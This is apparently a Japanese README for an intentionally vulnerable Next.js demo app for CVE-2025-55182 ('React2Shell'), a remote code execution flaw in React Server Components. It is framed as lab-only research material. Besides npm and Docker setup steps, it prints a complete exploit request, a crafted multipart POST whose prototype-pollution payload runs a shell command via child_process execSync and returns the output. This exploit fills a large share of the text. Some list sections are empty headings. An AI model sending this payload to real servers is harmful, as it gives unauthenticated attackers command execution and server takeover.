
CVE-2025-55182 (React2Shell) React Server Components の RCE 脆弱性を実証する概念実証アプリケーション。セキュリティ研究および隔離環境での教育用テストのみを目的としています。
これは、React Server Componentsにおける深刻なリモートコード実行(RCE)脆弱性である CVE-2025-55182(別名「React2Shell」)に対して脆弱なNext.jsアプリケーションの概念実証です。
このアプリケーションは意図的に脆弱性を持っており、以下の目的にのみ使用すべきです:
禁止事項:
CVE-2025-55182 は以下に影響します:
この脆弱性は、React Server Componentsのペイロード処理における安全でないデシリアライゼーションに起因し、認証されていない攻撃者が特別に細工されたHTTPリクエストを介してサーバー上で任意のコードを実行できるようにします。
依存関係をインストール:
npm install
開発サーバーを起動:
npm run dev
アプリケーションにアクセス: ブラウザで http://localhost:3000 を開きます。
Dockerイメージをビルド:
docker build -t nextjs-cve-2025-55182 .
コンテナを実行:
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
アプリケーションにアクセス: ブラウザで http://localhost:3000 を開きます。
/): React Server Componentsを使用したシンプルなログインフォーム/dashboard): ログイン後にアクセス可能な保護されたページこのアプリケーションは以下を使用しています:
脆弱性はRSCペイロードのデシリアライゼーションメカニズムに存在し、悪意のあるマルチパートHTTPリクエストをページルート(例: http://localhost:3000 または http://localhost:3000/dashboard)に直接送信することで悪用できます。このエクスプロイトはReact Server Componentsを使用する任意のページで機能します。
この脆弱性は、特別に細工されたHTTPリクエストをページルート(例: http://localhost:3000 または http://localhost:3000/dashboard)に直接送信することで悪用できます。このエクスプロイトはReact Server Componentsを使用する任意のページで機能します。
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
このエクスプロイトはページルートを直接対象とし、localhost:3000(ホームページ)または localhost:3000/dashboard(ダッシュボードページ)で動作します。
この脆弱性を修正するには:
この概念実証は教育およびセキュリティ研究目的でのみ提供されます。